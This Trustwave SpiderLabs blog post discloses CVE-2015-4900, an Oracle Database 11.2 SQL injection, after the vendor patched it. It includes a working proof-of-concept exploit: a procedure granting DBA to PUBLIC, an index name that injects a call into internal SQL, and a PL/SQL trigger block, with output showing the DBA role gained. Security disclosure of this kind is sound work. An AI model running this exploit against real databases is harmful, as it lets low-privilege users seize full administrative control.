Connect with our team of offensive security, AI security and pen testing experts at Black Hat Europe 2023. Learn More

Connect with our team of offensive security, AI security and pen testing experts at Black Hat Europe 2023. Learn More

Services
Capture
Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

twi-cloud-lock-color-svg
Managed Security Services

Expand your team’s capabilities and strengthen your security posture

twi-briefcase-color-svg
Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

twi-dashboard-color-svg
Penetration Testing

Subscription- or project-based testing, delivered by global experts

twi-database-color-svg
Database Security

Get ahead of database risk, protect data and exceed compliance requirements

twi-email-color-svg
Email Security & Management

Catch email threats others miss with layered security & maximum control

twi-managed-portal-color
Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Oracle Database 11.2 SQLi in XML index statistics processing (CVE-2015-4900)

In the October 2015 'Critical Patch Update' Oracle fixed a flaw in XML index support code: namely SQL injection which allows privilege escalation to DBA by unprivileged users. I reported this issue to Oracle back in April 2015 and 6 month later the fix is here. What is so special about it? They have addressed very similar issues already reported by other security researchers but missed this specific vulnerability.

Here is how it works: a user needs to have certain privileges first. Namely CREATE SESSION, CREATE PROCEDURE, CREATE TABLE, and CREATE PUBLIC SYNONYM. From that it is easy to elevate privileges on an unpatched system via the following set of actions, assuming all commands are executed as mentioned user against Oracle Database 11.2.0.4 without CPU October 2015:

  1. Create a stored procedure that will essentially grant DBA to public.

    CREATE PROCEDURE F ( PARTNAME VARCHAR2, CASCADE_PARTS BOOLEAN ) AUTHID CURRENT_USER IS BEGIN EXECUTE IMMEDIATE ('GRANT DBA TO PUBLIC'); END; /
  2. Create a public synonym for the just created procedure, so the vulnerable system-provided code can see our procedure even when it is not in the system schema. Public synonym allows to make evil procedure visible to all:

    CREATE PUBLIC SYNONYM POC FOR F;
  3. Create a table with a column of XMLType type:

    CREATE TABLE T34(id int not null primary key, val XMLType);

    This is essential since the vulnerability lies in internal SQL executed by XMLType column statistics maintenance code.

  4. Create an index on the xml column having very special name – that name will be used later on for SQLi:

    CREATE INDEX "');POC('" ON T34(val) INDEXTYPE IS XDB.XMLIndex;
  5. Finally trigger SQLi by invoking DBMS_STATS.DELETE_TABLE_STATS:

    DECLARE TAB_NAME varchar2(100);
    STMT varchar2(100);
    BEGIN
    SELECT OBJECT_NAME INTO TAB_NAME FROM ALL_OBJECTS WHERE OBJECT_NAME LIKE 'SYS%POC%PATH_TABLE';
    STMT := 'CREATE TABLE ' || SUBSTR(TAB_NAME, 1, INSTR(TAB_NAME, '_')) || '(id int)';
    EXECUTE IMMEDIATE STMT;
    DBMS_STATS.DELETE_TABLE_STATS(USER, 'T34');
    END;
    /

    We do create another table (named like SYS87356_) to make sure vulnerable code is executed – it is an additional prerequisite for the exploit.

    At this point we should reconnect to the database and examine effective roles:

    SELECT * FROM SESSION_ROLES;
    ROLE ------------------------------
    DBA SELECT_CATALOG_ROLE
    HS_ADMIN_SELECT_ROLE
    EXECUTE_CATALOG_ROLE
    HS_ADMIN_EXECUTE_ROLE
    DELETE_CATALOG_ROLE
    EXP_FULL_DATABASE
    IMP_FULL_DATABASE
    DATAPUMP_EXP_FULL_DATABASE
    DATAPUMP_IMP_FULL_DATABASE
    GATHER_SYSTEM_STATISTICS
    SCHEDULER_ADMIN WM_ADMIN_ROLE
    JAVA_ADMIN JAVA_DEPLOY
    XDBADMIN
    XDB_SET_INVOKER
    OLAP_XS_ADMIN
    OLAP_DBA
    19 rows selected.

Oracle has released a fix for this high severity issue (CVSS 6.5) – make sure it is installed ASAP. Trustwave database security products have checks released that verify that fixes are deployed on customer databases for this and other vulnerabilities fixed in Oracle Critical Patch Update October 2015. 

For more information:

Oracle October 2015 Critical Patch Update: http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html

Trustwave SpiderLabs Advisory: TWSL2015-019

Latest SpiderLabs Blogs

The 2023 Retail Services Sector Threat Landscape: A Trustwave Threat Intelligence Briefing

The annual holiday shopping season is poised for a surge in spending, a fact well-known to retailers, consumers, and cybercriminals alike. The latter group, however, is poised to exploit any...

Read More

Pwning Electroencephalogram (EEG) Medical Devices by Default

Overall Analysis of Vulnerability Identification – Default Credentials Leading to Remote Code Execution During internal network testing, a document was discovered titled the “XL Security Site...

Read More

Hidden Data Exfiltration Using Time, Literally

I was looking at my watch last week and my attention was moved towards the seconds over at the right of the watch face, incrementing nicely along as you’d expect. Now, I don’t know if I’d just spent...

Read More